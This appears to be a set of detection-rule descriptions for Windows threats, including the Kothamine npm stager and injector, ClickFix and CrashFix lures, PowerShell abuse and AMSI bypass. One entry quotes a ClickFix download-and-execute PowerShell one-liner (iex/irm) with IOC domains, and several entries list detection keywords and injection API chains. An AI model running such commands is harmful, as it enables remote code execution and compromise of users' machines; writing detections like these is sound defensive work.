Detects the Kothamine post-installation technique where npm/node spawns PowerShell to reflectively load a .NET assembly stager into memory. This behavior is followed by the PowerShell process spawning anomalous instances of RuntimeBroker.exe or svchost.exe. These spawned processes exhibit suspicious characteristics, such as executing from non-standard file paths, having missing command-line arguments (like the required '-k' for svchost), or having an illegitimate parent process (powershell.exe) instead of standard system parents like services.exe or wininit.exe.

Detects the execution of the Kothamine injector by correlating three distinct stages: the use of PowerShell to create an AV exclusion for 'MicrosoftEdgeUpdateCore', the dropping of the 'MicrosoftEdgeUpdateCore' binary into the user's AppData directory, and subsequent process injection (OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateRemoteThread) into explorer.exe.

Detects post-exploitation command execution originating from a compromised explorer.exe process. The rule identifies processes like cmd.exe, powershell.exe, or conhost.exe spawned by an explorer.exe instance that has previously loaded the malicious 'MicrosoftEdgeUpdateCore.dll' module, correlating this activity with the established 'tailcat.exe' command-and-control tunnel.

Detects the 'ClickFix' technique where a user is socially engineered into copying a malicious command to their clipboard and pasting it into the Windows Run dialog (Win+R). The rule monitors for powershell.exe spawned by explorer.exe containing specific social engineering keywords or typical fileless download-execute patterns like 'irm', 'iex', or 'Invoke-RestMethod'.

603
Detects the creation of new Windows services using sc.exe or PowerShell where the binary path is located in common user-writable or temporary directories (e.g., Temp, AppData, ProgramData), or where the service name mimics legitimate Windows system services, a technique often used for persistence or lateral movement (e.g., PsExec).

Detects the execution of PowerShell with suspicious command-line arguments often used by adversaries for obfuscation, evasion, or in-memory code execution, such as encoded commands, hidden windows, and downloading external content.

This rule detects attempts to impair or disable security defenses on Windows systems. It specifically monitors for three categories of malicious behavior: PowerShell-based AMSI (Antimalware Scan Interface) bypass techniques, commands to stop security-related services (e.g., Windows Defender, SentinelOne, CrowdStrike Falcon), and the use of 'reg' or 'PowerShell' to modify registry keys associated with disabling antivirus or real-time monitoring.

Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.

Detects suspicious PowerShell process execution initiated by Windows Explorer, specifically involving WebDAV-related commands or network share mounting indicators. This pattern is commonly associated with attackers attempting to download and execute remote payloads from WebDAV shares to bypass security controls.

507
Detects the execution of PowerShell via explorer.exe (typically initiated through the Windows Run dialog) where the command line references a WebDAV UNC path (containing DavWWWRoot). This behavior is characteristic of 'ClickFix' social engineering attacks, where users are coerced into copying and pasting commands into the Run dialog that trigger remote script execution.

Detects the execution of PowerShell or MSHTA from explorer.exe with command line arguments indicative of malicious activity, such as hidden windows, Base64 encoding, or command execution (IEX/Invoke-Expression). This behavior is common in fileless malware delivery and script-based initial access.

Detects execution of potentially malicious processes (mshta, powershell, cmd, conhost) which are common vectors for ClickFix-style attacks, where a user is socially engineered into copying and pasting malicious commands into the Windows Run dialog or a command prompt.

Detects potential execution of malicious commands following a fake browser crash dialog, often used in social engineering attacks (CrashFix). The rule identifies PowerShell or Windows Script Host processes spawned by common web browsers shortly after a browser session start, specifically looking for common command-line indicators used to copy-paste or execute malicious snippets, while filtering out legitimate WerFault.exe crash reporting activity.
